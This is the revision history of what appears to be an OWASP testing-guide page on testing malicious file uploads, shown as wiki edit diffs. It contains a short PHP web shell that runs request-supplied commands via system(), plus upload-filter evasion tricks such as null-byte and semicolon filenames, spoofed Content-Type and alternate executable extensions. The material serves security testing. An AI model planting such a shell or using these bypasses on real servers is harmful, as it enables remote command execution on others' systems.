Test Upload of Malicious Files (OTG-BUSLOGIC-009) - Revision history

Tony Hsu HsiangChih: /* Source Code Review */

2017-09-05T01:13:30Z

‎Source Code Review

2017-02-08T03:19:26Z

‎Source Code Review

2017-02-08T03:18:55Z

‎Evasion of the Filter

2017-02-08T03:18:30Z

‎Evasion of the Filter

2017-02-08T03:18:04Z

‎Evasion of the Filter

2017-02-08T03:17:43Z

‎Evasion of the Filter

2017-02-08T03:17:16Z

‎Evasion of the Filter

2017-02-08T03:15:36Z

‎How to Test

2017-02-08T03:07:24Z

‎Evasion of the Filter

2017-02-08T03:05:30Z

‎Source Code Review

@@ Line 53: / Line 53: @@
   <nowiki><?php
-if(isset($_REQUEST['cmd'])){
+ if(isset($_REQUEST['cmd'])){
-echo "<pre>";
+ echo "<pre>";
-$cmd = ($_REQUEST['cmd']);
+ $cmd = ($_REQUEST['cmd']);
-system($cmd);
+ system($cmd);
-echo "</pre>";
+ echo "</pre>";
-die;
+ die;
-−
+ }
-?></nowiki>
+ ?></nowiki>
@@ Line 83: / Line 83: @@
 When there is file upload feature supported, the following API/methods are common to be found in the source code.
-* Java: new file, import, upload, getFileName, Download, getOutputString
+* Java: new file, import, upload, getFileName, Download, getOutputString, fileOutputStream, java.io.file, export
 * C/C++: open, fopen
 * PHP: move_uploaded_file(),Readfile, file_put_contents(),file(),parse_ini_file(), copy(),fopen(),include(), require()
@@ Line 117: / Line 117: @@
 == Related Test Cases ==
-[[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)| Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]]
+[[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)| Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]]
 [[Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)| Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]]

@@ Line 85: / Line 85: @@
 * Java: new file, import, upload, getFileName, Download, getOutputString
 * C/C++: open, fopen
-* PHP: move_uploaded_file(),Readfile, file_put_contents(),file(),parse_ini_file(), copy(),fopen()
+* PHP: move_uploaded_file(),Readfile, file_put_contents(),file(),parse_ini_file(), copy(),fopen(),include(), require()
 === Evasion of the Filter ===

@@ Line 97: / Line 97: @@
 The executable extensions should be in black list  such as file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml
-<nowiki>* In IIS6 vulnerability, if the file name is file.asp;file.jpg,the file will be executed as file.asp.</nowiki>
+* In IIS6 vulnerability, if the file name is file.asp;file.jpg,the file will be executed as file.asp.
-  http://www.targetVictim.com/path/file.asp;file.jpg
+  <nowiki>http://www.targetVictim.com/path/file.asp;file.jpg</nowiki>
 * In NginX, if the original file name is test.jpg, testers/hackers may change it to 'test.jpg/x.php'

@@ Line 97: / Line 97: @@
 The executable extensions should be in black list  such as file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml
-* In IIS6 vulnerability, <nowiki>if the file name is file.asp;file.jpg,</nowiki> the file will be executed as file.asp.
+<nowiki>* In IIS6 vulnerability, if the file name is file.asp;file.jpg,the file will be executed as file.asp.</nowiki>
   http://www.targetVictim.com/path/file.asp;file.jpg

@@ Line 97: / Line 97: @@
 The executable extensions should be in black list  such as file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml
-* In IIS6 vulnerability, if the file name is file.asp;file.jpg, the file will be executed as file.asp.
+* In IIS6 vulnerability, <nowiki>if the file name is file.asp;file.jpg,</nowiki> the file will be executed as file.asp.
   http://www.targetVictim.com/path/file.asp;file.jpg

@@ Line 90: / Line 90: @@
 The following techniques may be used to bypass the website file upload checking rules and filters.
-* Change the value of 'Content-Type' in HTTP request
+* Change the value of 'Content-Type' as 'image/jpeg' in HTTP request
 * Change the extensions as executable extensions such as file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml
 * Changes of capital letters of extensions. such as file.PhP or file.AspX

@@ Line 93: / Line 93: @@
 * Change the extensions as executable extensions such as file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml
 * Changes of capital letters of extensions. such as file.PhP or file.AspX
-* Using special trailing such as spaces, dots or null characters such as file.asp… . file.php;jpg, file.asp%00.jpg
+* Using special trailing such as spaces, dots or null characters such as file.asp… . file.php;jpg, file.asp%00.jpg, 1.jpg%00.php
 === Zip files path ===